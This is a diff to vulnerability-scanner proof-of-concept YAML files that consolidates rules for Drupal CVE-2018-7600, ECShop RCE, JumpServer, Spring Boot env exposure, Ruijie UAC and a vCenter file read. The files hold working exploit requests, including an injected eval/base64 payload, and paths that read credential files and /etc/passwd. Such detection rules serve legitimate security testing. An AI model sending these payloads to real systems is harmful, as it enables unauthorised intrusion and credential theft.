加入 404星链

WebScan/pocs/drupal-cve-2018-7600-rce.yml

@@ -2,35 +2,15 @@ name: poc-yaml-drupal-cve-2018-7600-rce
 set:
   r1: randomLowercase(4)
   r2: randomLowercase(4)
-groups:
-  drupal8:
-    - method: POST
-      path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
-      headers:
-        Content-Type: application/x-www-form-urlencoded
-      body: |
-        form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
-      expression: |
-        response.body.bcontains(bytes(r1 + "%" + r2))
-  drupal7:
-    - method: POST
-      path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
-      headers:
-        Content-Type: application/x-www-form-urlencoded
-      body: |
-        form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
-      search: |
-        name="form_build_id"\s+value="(?P<build_id>.+?)"
-      expression: |
-        response.status == 200
-    - method: POST
-      path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
-      headers:
-        Content-Type: application/x-www-form-urlencoded
-      body: |
-        form_build_id={{build_id}}
-      expression: |
-        response.body.bcontains(bytes(r1 + "%" + r2))
+rules:
+  - method: POST
+    path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
+    expression: |
+      response.body.bcontains(bytes(r1 + "%" + r2))
 detail:
   links:
     - https://github.com/dreadlocked/Drupalgeddon2

WebScan/pocs/ecshop-rce.yml

@@ -2,25 +2,15 @@ name: poc-yaml-ecshop-rce
 set:
   r1: randomInt(40000, 44800)
   r2: randomInt(40000, 44800)
-groups:
-  2.x:
-    - method: POST
-      path: /user.php
-      headers:
-        Referer: >-
-         554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
-        Content-Type: application/x-www-form-urlencoded
-      body: action=login&pp123=printf({{r1}}*{{r2}});
-      expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
-  3.x:
-    - method: POST
-      path: /user.php
-      headers:
-        Referer: >-
-         45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads
-        Content-Type: application/x-www-form-urlencoded
-      body: action=login&pp123=printf({{r1}}*{{r2}});
-      expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+rules:
+  - method: POST
+    path: /user.php
+    headers:
+      Referer: >-
+       554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
+      Content-Type: application/x-www-form-urlencoded
+    body: action=login&pp123=printf({{r1}}*{{r2}});
+    expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
 detail:
   author: 凉风(http://webkiller.cn/)
   links:

WebScan/pocs/jumpserver-unauth-rce.yml

@@ -1,29 +1,17 @@
 name: poc-yaml-jumpserver-unauth-rce
 set:
   r1: randomLowercase(5)
-groups:
-  users:
-    - method: GET
-      path: /api/v1/users/connection-token/
-      follow_redirects: false
-      expression: |
-        response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
-    - method: GET
-      path: /api/v1/users/connection-token/?user-only={{r1}}
-      follow_redirects: false
-      expression: |
-        response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
-  authentication:
-    - method: GET
-      path: /api/v1/authentication/connection-token/
-      follow_redirects: false
-      expression: |
-        response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
-    - method: GET
-      path: /api/v1/authentication/connection-token/?user-only={{r1}}
-      follow_redirects: false
-      expression: |
-        response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
+rules:
+  - method: GET
+    path: /api/v1/authentication/connection-token/
+    follow_redirects: false
+    expression: |
+      response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
+  - method: GET
+    path: /api/v1/authentication/connection-token/?user-only={{r1}}
+    follow_redirects: false
+    expression: |
+      response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
 detail:
   author: mvhz81
   info: jumpserver unauth read logfile + jumpserver rce

WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml

@@ -4,7 +4,7 @@ rules:
     path: /login.php
     follow_redirects: false
     expression: |
-      response.status == 200  && response.body.bcontains(b"get_dkey_passwd") && response.body.bcontains(b"password")
+      response.status == 200 && response.body.bcontains(b"<title>RG-UAC登录页面</title>") && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body)
 detail:
   author: jweny(https://github.com/jweny)
   links:

WebScan/pocs/springboot-env-unauth.yml

@@ -1,15 +1,9 @@
 name: poc-yaml-springboot-env-unauth
-groups:
-  spring1:
-    - method: GET
-      path: /env
-      expression: |
-        response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
-  spring2:
-    - method: GET
-      path: /actuator/env
-      expression: |
-        response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
+rules:
+  - method: GET
+    path: /env
+    expression: |
+      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
 detail:
   links:
     - https://github.com/LandGrey/SpringBootVulExploit

WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml

@@ -1,17 +1,10 @@
 name: poc-yaml-vmware-vcenter-arbitrary-file-read
-groups:
-  win:
-    - method: GET
-      path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
-      follow_redirects: false
-      expression: |
-        response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
-  linux:
-    - method: GET
-      path: /eam/vib?id=/etc/passwd
-      follow_redirects: false
-      expression: |
-        response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+rules:
+  - method: GET
+    path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
 detail:
   author: MrP01ntSun(https://github.com/MrPointSun)
   links: